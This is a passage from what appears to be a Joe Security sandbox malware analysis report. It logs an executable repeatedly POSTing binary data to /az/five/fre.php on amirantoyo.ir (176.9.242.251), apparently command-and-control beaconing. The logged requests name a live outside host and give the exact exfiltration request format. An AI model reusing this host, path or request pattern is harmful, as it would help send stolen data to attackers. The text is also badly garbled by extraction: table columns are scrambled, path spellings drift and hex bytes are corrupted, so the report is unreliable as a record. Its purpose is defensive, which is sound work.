176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:38 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

295 192.168.2.4 50073
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

296 192.168.2.4 50074
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

297 192.168.2.4 50075
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

298 192.168.2.4 50076
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

299 192.168.2.4 50077
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

3 192.168.2.4 49776
kBytes

Timestamp transferred Direction

Jul 20, 2021 7372 ouT

18:36:25.301162958 CEST

Jul 20, 2021 7373 IN
18:36:25.452928066 CEST

Session ID Source IP Source Port

30 192.168.2.4 49803
kBytes

Timestamp transferred Direction

Copyright Joe Security LLC 2021

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:25 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data
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kBytes
Timestamp transferred

Jul 20, 2021 7410
18:36:38.603176117 CEST

Jul 20, 2021 7411
18:36:38.752378941 CEST

Session ID Source IP
300 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
301 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
302 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
303 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
304 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
305 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
306 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
307 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50078

Direction

Source Port

50079

Direction

Source Port

50080

Direction

Source Port
50081

Direction

Source Port
50082

Direction

Source Port
50083

Direction

Source Port
50084

Direction

Source Port

50085

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:38 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
308 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
309 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
31 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7411

18:36:39.070075989 CEST

Jul 20, 2021 7412
18:36:39.216314077 CEST

Session ID Source IP
310 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
311 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
312 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
313 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
314 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50086

Direction

Source Port

50087

Direction

Source Port

49804

Direction

ouT

Source Port
50088

Direction

Source Port
50089

Direction

Source Port
50090

Direction

Source Port

50091

Direction

Source Port

50092

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:39 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
315 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
316 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
317 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
318 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
319 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
32 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7413

18:36:39.559513092 CEST

Jul 20, 2021 7413
18:36:39.710325956 CEST

Session ID Source IP
320 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
321 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50093

Direction

Source Port

50094

Direction

Source Port

50095

Direction

Source Port

50096

Direction

Source Port

50097

Direction

Source Port
49805

Direction
ouT

Source Port
50098

Direction

Source Port

50099

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:39 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
322 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
323 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
324 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
325 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
326 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
327 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
328 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
329 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
33 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50100

Direction

Source Port

50101

Direction

Source Port

50102

Direction

Source Port

50103

Direction

Source Port

50104

Direction

Source Port
50105

Direction

Source Port
50106

Direction

Source Port
50107

Direction

Source Port

49806

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7414
18:36:40.015072107 CEST

Jul 20, 2021 7415
18:36:40.162375927 CEST

Session ID Source IP
330 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
331 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
332 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
333 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
334 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
335 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
336 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
337 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50108

Direction

Source Port

50109

Direction

Source Port

50110

Direction

Source Port
50111

Direction

Source Port
50112

Direction

Source Port
50113

Direction

Source Port
50114

Direction

Source Port

50115

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:40 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
338 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
339 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
34 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7416

18:36:40.481637001 CEST

Jul 20, 2021 7416
18:36:40.627176046 CEST

Session ID Source IP
340 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
341 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
342 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
343 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
344 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50116

Direction

Source Port

50117

Direction

Source Port

49807

Direction

ouT

Source Port
50118

Direction

Source Port
50119

Direction

Source Port
50120

Direction

Source Port
50121

Direction

Source Port

50122

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:40 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
345 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
346 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
347 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
348 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
349 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
35 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7417

18:36:40.949584007 CEST

Jul 20, 2021 7417
18:36:41.100085020 CEST

Session ID Source IP
350 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
351 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50123

Direction

Source Port

50124

Direction

Source Port

50125

Direction

Source Port

50126

Direction

Source Port

50127

Direction

Source Port
49808

Direction
ouT

Source Port

50128

Direction

Source Port

50129

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:41 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
352 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
353 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
354 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
355 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
356 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
357 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
358 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
359 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
36 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50130

Direction

Source Port

50131

Direction

Source Port

50132

Direction

Source Port

50133

Direction

Source Port

50134

Direction

Source Port
50135

Direction

Source Port
50136

Direction

Source Port
50137

Direction

Source Port

49809

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7418
18:36:41.417078972 CEST

Jul 20, 2021 7419
18:36:41.564682007 CEST

Session ID Source IP
360 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
361 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
362 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
363 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
364 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
365 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
366 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
367 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50138

Direction

Source Port

50139

Direction

Source Port

50140

Direction

Source Port
50141

Direction

Source Port
50142

Direction

Source Port
50143

Direction

Source Port

50144

Direction

Source Port

50145

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:41 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
368 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
369 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
37 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7420

18:36:41.879957914 CEST

Jul 20, 2021 7420
18:36:42.025948048 CEST

Session ID Source IP
370 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
371 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
372 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
373 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
374 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50146

Direction

Source Port

50147

Direction

Source Port

49810

Direction

ouT

Source Port
50148

Direction

Source Port
50149

Direction

Source Port
50150

Direction

Source Port

50151

Direction

Source Port

50152

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:41 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
375 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
376 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
377 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
378 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
379 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
38 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7421

18:36:42.343682051 CEST

Jul 20, 2021 7422
18:36:42.497797012 CEST

Session ID Source IP
380 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
381 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50153

Direction

Source Port

50154

Direction

Source Port

50155

Direction

Source Port

50156

Direction

Source Port

50157

Direction

Source Port
49811

Direction
ouT

Source Port

50158

Direction

Source Port

50159

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:42 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
382 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
383 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
384 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
385 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
386 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
387 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
388 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
389 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
39 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50160

Direction

Source Port

50161

Direction

Source Port

50162

Direction

Source Port

50163

Direction

Source Port

50165

Direction

Source Port
50166

Direction

Source Port
50167

Direction

Source Port
50168

Direction

Source Port

49812

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7422
18:36:42.841490030 CEST

Jul 20, 2021 7423
18:36:42.987463951 CEST

